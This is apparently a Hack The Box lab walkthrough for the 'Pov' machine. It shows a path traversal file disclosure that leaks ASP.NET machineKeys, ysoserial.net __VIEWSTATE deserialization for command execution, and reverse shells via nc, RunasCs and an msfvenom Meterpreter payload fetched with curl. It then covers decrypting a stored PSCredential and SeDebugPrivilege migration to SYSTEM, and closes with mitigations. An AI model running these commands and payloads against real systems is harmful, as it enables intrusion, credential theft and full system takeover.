Pov

Launch Pov and follow along on HTB!

Introduction

avatar A demonstration of using File Disclosure to find sensitive keys enabling a Object Deserialization attack for command execution, followed by finding exposed credentials leading to SeDebugPrivilege abuse. This box brought a new tool, ysoserial.net, to my knowledgebase. I also had to dig deeper into understanding IIS so I could properly use my new tool to gain my foothold on the host. A few hiccups regarding permissions when it came to privilege escalation vectors, so we will be going the Metasploit route when we reach for the root flag.

Recon Phase

Hey, we’re going in blind. $TARGET spawned at 10.10.11.251

Opening up with NMap to gather details on our $TARGET.

nmap -Pn -p- -A -n -T4 -vv -oN recon/scan.nmap 10.10.11.251

20260105093550 20260105093550 Three key pieces of information came as a result.

  1. Port 80/tcp is open, looking at a Webserver
  2. Webserver is IIS
  3. We can take an educated guess that pov.htb is the hostname

Nothing else to really detail here, so we can explore http://10.10.11.251 and review this website.

Tasks

  • Review Website on port 80

Review Website on port 80

Launch your preferred web-proxy, as mine is Caido, and start proxying traffic for our $TARGET.

Visiting http://10.10.11.251.

None of the buttons POST or link to anything, but there is an interesting snippet of information at the Contact Us section. 20260105102341 20260105102341 We see a potential user [email protected], we can note that for later. dev.pov.htb is also mentioned and is likely a Virtual Host, which we can verify with curl.

curl "http://10.10.11.251" -H "Host: dev.pov.htb"
# <head><title>Document Moved</title></head>
# <body><h1>Object Moved</h1>This document may be found <a HREF="http://dev.pov.htb/portfolio/">here</a></body>

Confirmed dev.pov.htb exists.

We can add pov.htb and dev.pov.htb to /etc/hosts.

echo "10.10.11.251 pov.htb dev.pov.htb" >> /etc/hosts

So we can move on from here and review dev.pov.htb.

Tasks

  • Review Website on port 80
  • Review Website dev.pov.htb

Review Website dev.pov.htb

Visiting dev.pov.htb, it redirected to /portfolio/ and it looks to be sfitz’s web developer portfolio.

The landing page only has one interesting aspect, downloading Stephen Fitz’s CV button which does a __doPostBack call for a download target.
20260105103353 20260105103353 A small background on __doPostBack, as it’s a javascript function generated by the javascript web framework - so we can assume we’re looking at an .asp page.

  1. The target is download
  2. The value is cv.pdf for id=file

Leaving that for a moment, checking the rest of the site does have a /portfolio/contact.aspx page. Testing and viewing with Caido does confirm it submitted POST data, but nothing we can particularly see on our side. We can submit XSS here and maybe steal the contact-user’s cookies but that can be a last resort option.

Going back to our __doPostBack discovery, we can see the POST request after clicking Download CV. 20260105104038 20260105104038 Not surprisingly, we download a PDF of Stephen’s CV.

Reviewing the POST request, we see the file parameter here, and other __VIEWSTATE related parameters.

__VIEWSTATE is a way for ASP.NET to preserve user state on client-side, without relying on server-side session state. This is often validated and encrypted by keys that exist in either the application via web.config or the machine via machine.config.

Lets Replay this request but modify that file parameter. Choosing the webpage we are currently viewing default.aspx (the /index for IIS). 20260105105022 20260105105022 Interesting. Modifying file= parameter to default.aspx, we received the page as a response. However it did not render like a normal Local File Inclusion vulnerability would, because we can see the aspx include header at the top of the response data. This is File Disclosure and it’s leading us to look at the included index.aspx.cs page.

We can dig into this File Disclosure vulnerability and see what we can find.

Tasks

  • Review Website on port 80
  • Review Website dev.pov.htb
  • Exfil with File Disclosure

Exfil with File Disclosure

We’ll use this vulnerability to find sensitive information and see if we can use that to dig even deeper.

So set file=index.aspx.cs to view the server-side page. 20260105110620 20260105110620 Here we see the Download target from earlier. Line 30 is a non-recursive input sanitization, so a simple ....// will bypass that, allowing us directory traversal. Barring additional restrictions, we should be able to find web.config.

The IIS Virtual Directory appears to be /portfolio, but if it isn’t, we can do further enumeration to discover the appropriate application and virtual directory paths. We will find web.config at the root if the virtual directory.

Modify file= value to ....//web.config and send request. 20260105111657 20260105111657 It’s a web.config file, and it has static machineKey values! Ideally these key values should be auto generated, and isolated.

So record the validationKey, validation, decryptionKey, and decryption as variables, we’ll need them for attacking VIEWSTATE with an Object Deserialization technique.

Tasks

  • Review Website on port 80
  • Review Website dev.pov.htb
  • Exfil with File Disclosure
  • Attack __VIEWSTATE

Attack __VIEWSTATE

__VIEWSTATE can be attacked if we know the associated machineKeys, as we will be able to properly encrypt a modified __VIEWSTATE that will hold unsafe commands to be deserialized by the server, theoretically providing a path to RCE.

Our plan of attack will be generating a payload with our found machineKeys using ysoserial.net. I will be using this tool on Linux via wine, but I HIGHLY RECOMMEND using a Windows environment to use this tool, as it requires .NET Framework to generate payloads without issue.

We can set our machineKey variables.

VALIDATION="SHA1"
DECRYPTION="AES"
DECRYPTIONKEY="74477CEBDD09D66A4D4A8C8B5082A4CF9A15BE54A94F6F80D5E822F347183B43"
VALIDATIONKEY="5620D3D029F914F4CDF25869D24EC2DA517435B200CCF1ACFA1EDE22213BECEB55BA3CF576813C3301FCB07018E605E7B7872EEACE791AAD71A267BC16633468"

To demonstrate command execution, our command will be ping 10.10.14.4, and I will set up a listener for ICMP packets.

Crafting the ysoserial.net command.

wine ysoserial.exe -p ViewState --path="/portfolio/default.aspx" --decryptionalg=$DECRYPTION --validationalg=$VALIDATION --decryptionkey=$DECRYPTIONKEY --validationkey=$VALIDATIONKEY -g TextFormattingRunProperties -c "ping 10.10.14.4"
# dbc5ml8eWCBuL%2BK<SNIP>I%2FitGDRYBeti8C%2BMfQ%2Bbs%3D

Walking through the switches.

  • -p is the plugin to be used, we will be using the ViewState plugin
  • --path is the target webpage
  • --decryptionalg, --validationalg, --decryptionkey, --validationkey will be the associated elements from machineKeys
  • -g is the gadget chain to be used to wrap our command, there are numerous gadgets to try and it’s a bit of trial and error to find what works
  • -c is the command to be run

Next is to copy the generated payload to replace the __VIEWSTATE value and send the newly modified POST request. 20260105120135 20260105120135 It will respond with an error page, however our command is still executed and I received ICMP packets from the $TARGET. 20260105120116 20260105120116 Confirmed command execution. Next we can replace our ping with a Reverse Shell and get the user flag.

Set up our listener.

rlwrap nc -lvnp 6969

Generate a cmd Reverse Shell using revshell.com.

Then modify your previous ysoserial.net command to use your new Reverse Shell command, generating a new __VIEWSTATE payload.

wine ysoserial.exe -p ViewState --path="/portfolio/default.aspx" --decryptionalg=$DECRYPTION --validationalg=$VALIDATION --decryptionkey=$DECRYPTIONKEY --validationkey=$VALIDATIONKEY -g TextFormattingRunProperties -c "powershell -e JABjAGw<SNIP>cwBlACgAKQA="

Modify the __VIEWSTATE value and send the POST request, watching your listener to catch that shell. 20260105120949 20260105120949 20260105121010 20260105121010 Caught it. Looks like dev.pov.htb is being served by sfitz.

Checking for user flag.

cd C:\Users\sfitz\Desktop
ls
# Empty

20260105121242 20260105121242 I see. Looks like we need to enumerate further to find our flag.

Tasks

  • Review Website on port 80
  • Review Website dev.pov.htb
  • Exfil with File Disclosure
  • Attack __VIEWSTATE
  • Enumerate User sfitz

User Flag

sfitz is not the user holding the user flag, so it’s time for enumerate and find our direction.

Tasks

  • Enumerate User sfitz

Enumerate User sfitz

First, let’s see what privileges we have, what users exist on this host, and start searching for interesting files.

whoami /all
net user
netstat -ano
Get-ChildItem C:\Users -Recurse -Include *.rdp, *.config, *.vnc, *.cred, *.xml, *.txt, *.kdbx, *.ini -ErrorAction Ignore

Walking through the results. whoami /all 20260105122337 20260105122337 No interesting privileges or group memberships.

netstat -ano 20260105123429 20260105123429 Looks like WinRM and SMB are open, but did not show up on our NMap scans. So it’s likely that Windows Firewall profiles are active.

net user 20260105122427 20260105122427 See two non-default user accounts here, alaading and our current user sfitz. We can confirm users on this host with:

ls c:\Users

20260105122540 20260105122540 Confirmed.

File search results in user directories via Get-ChildItem C:\Users -Recurse -Include *.rdp, *.config, *.vnc, *.cred, *.xml, *.txt, *.kdbx, *.ini -ErrorAction Ignore 20260105122615 20260105122615 Sure enough, file of interest sitting in our user directory. Viewing C:\Users\sfitz\Documents\connection.xml.

cat C:\Users\sfitz\Documents\connection.xml

20260105122819 20260105122819 Okay so sfitz has a PSCredential object ready for import for alaading user, super convenient for us. We can use Powershell’s Import-Clixml utility module to read these credentials.

Assuming this object was created by sfitz and encrypted on this host, DPAPI should allow us to decrypt these credentials.

$creds = Import-Clixml -Path C:\Users\sfitz\Documents\connection.xml
$creds.GetNetworkCredential().password 
# <REDACTED>

Nice! We got a set of credentials for alaading:<REDACTED>.

We noticed earlier that WinRM is open, but blocked by Windows Firewall, so a good option here is to simply spawn a process as the alaading user. We can utilize RunasCs to connect as alaading.

Tasks

  • Enumerate User sfitz
  • Enumerate User alaading

Enumerate User alaading

We’re going to use RunasCs to establish our remote shell as alaading user.

Set up a listener using nc.

rlwrap nc -lvnp 7000

Next we’ll launch a Python webserver to copy our tool over to the target.

python -m http.server 9000

Finally, download RunasCs so we have an extended functionality beyond runas.

curl -o RunasCs.exe "http://10.10.14.4:9000/RunasCs.exe"

We’ll establish a reverse shell in cmd for alaading.

.\RunasCs.exe alaading <REDACTED> -b -r 10.10.14.4:7000 cmd

20260105134333 20260105134333 20260105134409 20260105134409 Feels like a restricted shell considering that error.

We can move forward and get that user flag.

cd c:\Users\alaading\Desktop
dir

20260105134533 20260105134533

type user.txt
# 1f0e<REDACTED>09aa

We got it! However, we can continue enumerating to see our route for root flag.

We can look at our privileges.

whoami /priv

20260105134738 20260105134738 This is rather important. SeDebugPrivilege is a privilege escalation vector that allows us to read / write into (almost) any process. We can use Metasploit-framework to achieve SYSTEM account privilege.

Tasks

  • Enumerate User sfitz
  • Enumerate User alaading
  • Escalate to System using SeDebugPrivilege

Root Flag

We will setup a Meterpreter listener, create a payload using msfvenom, download and execute it using alaading. From there we can enable the SeDebugPrivilege token and migrate to a higher privileged process.

Escalate to SYSTEM using SeDebugPrivilege

Interesting interaction here, I launched my shell to be Powershell and now the SeDebugPrivilege token is enabled. So that saves us a step but I’ve read that this box is quite weird with shell interactions around these tokens, so I cannot confidently determine why it interacted like this.

Launch a Powershell shell to enable SeDebugPrivilege

powershell
whoami /priv

20260105135421 20260105135421

Set up a listener where we’ll spawn our Meterpreter shell, launch msfconsole.

msfconsole
use exploit/multi/handler
set lhost tun0
set lport 6970
set payload windows/x64/meterpreter/reverse_tcp
exploit

Our listener is ready, waiting on tun0:6970 for our payload to execute.

Crafting the payload using msfvenom named catshell.exe

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.4 LPORT=6970 -o catshell.exe -f exe

Download the file from http://$CAT_HOST:9000/catshell.exe to $TARGET.

curl -o catshell.exe "http://10.10.14.4:9000/catshell.exe"

20260105135624 20260105135624 Execute catshell.exe and check your Meterpreter listener

.\catshell.exe

20260105135739 20260105135739 20260105135755 20260105135755 Still have SeDebugPrivilege available to our shell. 20260105135829 20260105135829 So let’s finish this. Find a process that would normally have SYSTEM privileges.

ps

20260105140339 20260105140339

migrate 2312

20260105140412 20260105140412 20260105140421 20260105140421 Perfect. Time to get the root flag. Drop into a shell, navigate to Administrator desktop, read the file.

shell
cd c:\Users\Administrator\Desktop
type root.txt
# 9263<REDACTED>a146

Tasks

  • Enumerate User sfitz
  • Enumerate User alaading
  • Escalate to System using SeDebugPrivilege

Conclusion/Mitigations

There were a few hiccups in this box. Two pain-points for me were trying to get ysoserial.net to properly work in Linux, and with my first run through this box, I got a shell with alaading but my SeDebugPrivilege token was disabled. I tried everything I could to enable this token and eventually landed on different shells which just had it enabled and I couldn’t quite explain why.

I’m chalking it up to user permissions depending on how the shell gets created.

Overall though, learning __VIEWSTATE deserialization attacks was fun, and once you got onto the host it felt fairly easy to reach the root flag.

File Disclosure - IIS .NET Page

The Download function call in index.aspx.cs provides insufficient input validation and input sanitisation before passing the input to the Response.TransmitFile() function call.

If possible, validate the file parameter to a whitelist of permitted filenames or directories. Additionally, sanitise the file parameter recursively, and reject absolute paths or paths with directory traversal strings.

IIS - Weak Cryptographic Configuration

This is more information than anything.

Static machineKeys become a single point of failure. Once these keys are known, an adversary may generate, alter, or read viewstate data or forget authentication cookies.

Removal of static validationKey and decryptionKey is required, and allowing ASP.NET to AutoGenerate,IsolateApps for these values.

SeDebugPrivilege granted to Non-Administrator Account

alaading was a non-administrator account with SeDebugPrivilege. This token grants the ability to read/write the memory of SYSTEM privileged processes.

Typically this is granted to administrator accounts, security analysts for forensics purposes, and developers/system engineers that require it.

Removing SeDebugPrivilege from alaading would mitigate the liability involved with their account being compromised. Additionally, you would want to conduct a review of other accounts that may be granted this privilege; and set up monitoring for relevant Event IDs.

References

ResearchDescription
Exploiting Deserialisation in ASP net via ViewstateCritical in understanding ysoserial.net and how __VIEWSTATE is broken
Understanding IIS ArchitectureHelped with understanding IIS and important targets for file disclosure
Tools UsedDescription
CaidoLightweight Web-Proxy tool
Metasploit-frameworkOpen-source pentest framework
NMapNetwork discovery and auditing tool
RunasCsImproved version of windows built-in runas
ysoserial.netPayload generator for unsafe deserialization of objects
RevshellsReverse shell generator